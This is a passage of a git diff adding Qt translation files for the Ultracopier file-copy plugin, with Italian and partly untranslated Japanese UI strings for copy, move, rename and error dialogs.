+ <translation>Errore</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Try rename with unauthorized charateres</source>
+ <translation type="obsolete">Provare a rinominare con caratteri non consentiti</translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation>Impossibile spostare o copiare elementi in modalità forzata anomala: %1</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation>Impossibile salvare la lista dei trasferimenti: %1</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translatorcomment>Header si riferisce all&apos;intestazione?</translatorcomment>
+ <translation>Intestazione sbagliata: &quot;%1&quot;</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation>La lista dei trasferimenti è in modalità mista, ma questa istanza non è in questa modalità</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation>La lista dei trasferimenti è in modalità di copia, ma questa istanza non è in questa modalità</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation>La lista dei trasferimenti è in modalità di spostamento, ma questa istanza non è in questa modalità</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation>Impossibile aprire la lista dei trasferimenti: %1</translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <source>Unable to get time</source>
+ <translation type="obsolete">Impossibile ottenere l&apos;ora</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation>Impossibile creare la cartella</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Unable to set time</source>
+ <translation type="obsolete">Impossibile impostare l&apos;ora</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation>Impossibile eliminare</translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation>Errore interno, pregasi di segnalarlo!</translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation>Impossibile leggere il file di origine: </translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation>File troncato durante la lettura, possibili variazioni di dati</translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translatorcomment>o Prima ridenominazione?</translatorcomment>
+ <translation>Prima rinomina</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translatorcomment>%name% non dovrà essere tradotto</translatorcomment>
+ <translation>Copia di %name%</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translatorcomment>o per il nome originale del file</translatorcomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;variabili: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; per il nome del file di origine&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translatorcomment>o Seconda ridenominazione?</translatorcomment>
+ <translation>Seconda rinomina</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translatorcomment>%name% e %number% non dovranno essere tradotti</translatorcomment>
+ <translation>Copia di %name% (%number%)</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translatorcomment>%name% e %number% non dovranno essere tradotti</translatorcomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;variabili: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; per il nome del file di origine&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; per il numero progressivo&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copia</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copia (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation>Regole di rinomina</translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copia</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copia (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation>Questa non è una cartella</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>The folder not exists</source>
+ <translation type="obsolete">La cartella non esiste</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation>La cartella non è leggibile</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation>Problema con la codifica del nome</translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation>File non trovato</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished">Unità %1</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished">root</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished">%1 - copia</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished">%1 - copia (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished">Impossibile creare la cartella</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished">Nello stesso percorso è presente un altro file</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished">Errore interno: la cartella di destinazione non è chiusa</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished">Errore interno: il buffer non è vuoto</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished">Impossibile cambiare la data</translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation>Errore interno, pregasi di segnalarlo!</translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation>Impossibile leggere il file di origine: </translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation>Trasferisci</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation>Spostare l&apos;intera cartella</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation>Trasferire le autorizzazioni dei file</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation>Mantenere la data del file</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation>Se selezionato si avranno prestazioni ridotte</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation>Seguire rigorosamente l&apos;ordine</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation>Errori di coincidenze</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation>Quando si verifica un errore nelle cartelle</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation>Quando si verifica un errore nei file</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation>Quando i file coincidono</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation>Quando le cartelle coincidono</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation>Controllare se la cartella di destinazione esiste</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation>Regole di rinomina</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation>Eliminare i file parzialmente trasferiti</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation>Rinominare la destinazione all&apos;origine</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation>Controllare</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation>Codice di controllo (Checksum)</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation>Solo dopo l&apos;errore</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation>Ignora se non corrisponde</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation>Prestazioni</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation>Buffer parallelo</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation>KB</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation>Dimensione del blocco</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation>Buffer sequenziale</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation>Attivare il buffer del sistema operativo</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation>Buffer del sistema operativo solo se inferiore a</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation>Algoritmo di trasferimento </translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation>Affiancare se inferiore a</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation>Inode threads</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation>Varie</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation>Controllare lo spazio su disco</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Use this folder when destination is empty</source>
+ <translation type="obsolete">Usare questa cartella quando la cartella di destinazione è vuota</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation>Sfoglia</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation>Filtri</translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation>Errore</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation>Dimensione</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation>Modificato</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation>Nome del file</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation>Cartella di destinazione</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation>Cartelle</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation>Mettere in coda</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation>Riprova</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Salta</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Annulla</translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation>Il file è già presente</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>Cartella di origine</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>Cartella di destinazione</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation>Dimensione</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation>Modificato</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation>Nome del file</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation>Cartelle</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Suggerisci un nuovo &amp;nome</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;Rinomina</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation>&amp;Sovrascrivi</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Salta</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Annulla</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation>Sovrascrivi se più recente</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation>Sovrascrivi se meno recente</translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation>Dimensione</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation>Modificato</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation>Nome del file</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation>Cartelle</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Suggerisci nuovo &amp;nome</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;Rinomina</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;Salta</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Annulla</translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>Cartella di origine</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>Cartella di destinazione</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation>Modificato</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation>Nome della cartella</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation>Cartelle</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Suggerisci nuovo &amp;nome</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;Rinomina</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation>Unisci</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation>Salta</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;Annulla</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/ja/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/ja/translation.ts
new file mode 100644
index 0000000..25bb8d3
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/ja/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
